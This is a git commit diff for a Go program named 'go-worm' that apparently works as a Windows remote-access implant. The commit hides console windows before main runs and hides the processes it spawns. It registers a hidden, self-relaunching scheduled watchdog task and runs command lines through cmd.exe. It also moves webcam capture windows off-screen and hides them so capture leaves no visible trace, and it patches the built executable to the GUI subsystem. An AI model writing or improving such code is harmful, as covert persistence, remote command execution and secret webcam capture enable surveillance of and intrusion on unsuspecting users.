fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/command/command.go

@@ -5,12 +5,10 @@ import (
 	"context"
 	"errors"
 	"os/exec"
-	"syscall"
 	"time"
 
-	"golang.org/x/sys/windows"
-
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 	"tea.chunkbyte.com/kato/go-worm/lib/models"
 )
 
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
 }
 
 func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
-	cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW,
-	}
+	cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
 	var stdout, stderr bytes.Buffer
 	cmd.Stdout = &stdout
 	cmd.Stderr = &stderr

lib/helpers/hide_stub.go

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package helpers
+
+import "syscall"
+
+func HiddenSysProcAttr() *syscall.SysProcAttr { return nil }
+
+func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { return nil }

lib/helpers/hide_windows.go

@@ -0,0 +1,28 @@
+//go:build windows
+
+package helpers
+
+import (
+	"syscall"
+
+	"golang.org/x/sys/windows"
+)
+
+// HiddenSysProcAttr starts a process with no console window.
+func HiddenSysProcAttr() *syscall.SysProcAttr {
+	return &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW,
+	}
+}
+
+// HiddenDetachedSysProcAttr is HiddenSysProcAttr plus a new process group so
+// the child survives after the parent exits (install relaunch, updates).
+func HiddenDetachedSysProcAttr() *syscall.SysProcAttr {
+	return &syscall.SysProcAttr{
+		HideWindow: true,
+		CreationFlags: windows.CREATE_NO_WINDOW |
+			windows.CREATE_NEW_PROCESS_GROUP |
+			windows.DETACHED_PROCESS,
+	}
+}

lib/instance/console_stub.go

@@ -7,3 +7,5 @@ func HideConsole() {}
 func ShowConsole() {}
 
 func ProtectFromConsoleClose() {}
+
+func AllowConsoleKill() {}

lib/instance/console_windows.go

@@ -26,6 +26,13 @@ const (
 	ctrlCloseEvent = 2
 )
 
+func init() {
+	// Must run before main: a console-subsystem build otherwise flashes a
+	// terminal during flag.Parse, which looks like a broken automation step.
+	ProtectFromConsoleClose()
+	HideConsole()
+}
+
 // HideConsole hides any console window and detaches from it.
 func HideConsole() {
 	hwnd, _, _ := procGetConsoleWindow.Call()
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
 }
 
+// AllowConsoleKill restores default Ctrl+C handling for -foreground.
+func AllowConsoleKill() {
+	if consoleCtrlCallback == 0 {
+		return
+	}
+	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
+}
+
 func consoleCtrlHandler(ctrlType uintptr) uintptr {
 	switch uint32(ctrlType) {
 	case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:

lib/instance/launch_windows.go

@@ -5,9 +5,8 @@ package instance
 import (
 	"os"
 	"os/exec"
-	"syscall"
 
-	"golang.org/x/sys/windows"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
 	cmd.Stdin = nul
 	cmd.Stdout = nul
 	cmd.Stderr = nul
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow: true,
-		CreationFlags: windows.CREATE_NO_WINDOW |
-			windows.CREATE_NEW_PROCESS_GROUP |
-			windows.DETACHED_PROCESS,
-	}
+	cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
 	if err := cmd.Start(); err != nil {
 		return err
 	}

lib/startup/taskxml.go

@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
 	b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
 	b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
 	b.WriteString(`<Hidden>true</Hidden>`)
+	b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
 	b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
 	b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
 	b.WriteString(`<Enabled>true</Enabled>`)

lib/startup/taskxml_test.go

@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
 	if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
 		t.Fatalf("WorkingDirectory missing:\n%s", xml)
 	}
-	if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
-		t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
+	if !strings.Contains(xml, "<Hidden>true</Hidden>") {
+		t.Fatalf("task must be hidden:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
+		t.Fatalf("unified scheduler missing:\n%s", xml)
 	}
 }
 

lib/startup/watchdog.go

@@ -7,12 +7,10 @@ import (
 	"os"
 	"os/exec"
 	"strings"
-	"syscall"
 	"unicode/utf16"
 
-	"golang.org/x/sys/windows"
-
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
 
 func runSchtasks(args ...string) error {
 	cmd := exec.Command("schtasks", args...)
-	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		msg := strings.TrimSpace(string(out))

lib/webcam/webcam_windows.go

@@ -25,21 +25,23 @@ var (
 	procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
 	procSendMessageW             = user32.NewProc("SendMessageW")
 	procDestroyWindow            = user32.NewProc("DestroyWindow")
+	procShowWindow               = user32.NewProc("ShowWindow")
 	captureMu                    sync.Mutex
 )
 
 const (
-	wmUser              = 0x0400
-	wmCapStart          = wmUser
-	wmCapUnicodeStart   = wmUser + 100
-	wmCapDriverConnect  = wmCapStart + 10
+	wmUser                = 0x0400
+	wmCapStart            = wmUser
+	wmCapUnicodeStart     = wmUser + 100
+	wmCapDriverConnect    = wmCapStart + 10
 	wmCapDriverDisconnect = wmCapStart + 11
-	wmCapFileSaveDIBW   = wmCapUnicodeStart + 25
-	wmCapGrabFrame      = wmCapStart + 60
-	wmCapSetPreview     = wmCapStart + 50
-	wmCapSetScale       = wmCapStart + 53
-	wsPopup             = 0x80000000
-	maxDrivers          = 10
+	wmCapFileSaveDIBW     = wmCapUnicodeStart + 25
+	wmCapGrabFrame        = wmCapStart + 60
+	wmCapSetPreview       = wmCapStart + 50
+	wmCapSetScale         = wmCapStart + 53
+	wsPopup               = 0x80000000
+	swHide                = 0
+	maxDrivers            = 10
 )
 
 type Device struct {
@@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error
 	if err != nil {
 		return models.CapturedImage{}, err
 	}
+	off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
 	hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
 		uintptr(unsafe.Pointer(title)),
-		wsPopup,
-		0, 0, 320, 240,
+		wsPopup, // no WS_VISIBLE
+		off, off, 320, 240,
 		0, 0,
 	)
 	if hwnd == 0 {
 		return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
 	}
+	_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
 	defer procDestroyWindow.Call(hwnd)
 
 	ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)

main.go

@@ -42,10 +42,9 @@ func main() {
 	flag.Parse()
 
 	if *foreground {
+		instance.AllowConsoleKill()
 		instance.ShowConsole()
 	} else {
-		instance.ProtectFromConsoleClose()
-		instance.HideConsole()
 		_ = helpers.AttachLogFile()
 	}
 

scripts/build.sh

@@ -5,4 +5,23 @@ cd "$(dirname "$0")/.."
 
 out="${1:-win64_mp.exe}"
 GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
+# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
+python3 - "$out" <<'PY'
+import struct, sys
+path = sys.argv[1]
+with open(path, "r+b") as f:
+    f.seek(0x3C)
+    pe = struct.unpack("<I", f.read(4))[0]
+    f.seek(pe)
+    if f.read(4) != b"PE\x00\x00":
+        raise SystemExit(f"not a PE file: {path}")
+    opt = pe + 24
+    f.seek(opt)
+    magic, = struct.unpack("<H", f.read(2))
+    if magic not in (0x10B, 0x20B):
+        raise SystemExit(f"unknown PE magic {magic:#x}")
+    f.seek(opt + 68)
+    f.write(struct.pack("<H", 2))
+print(f"pe subsystem=gui {path}")
+PY
 echo "built $out"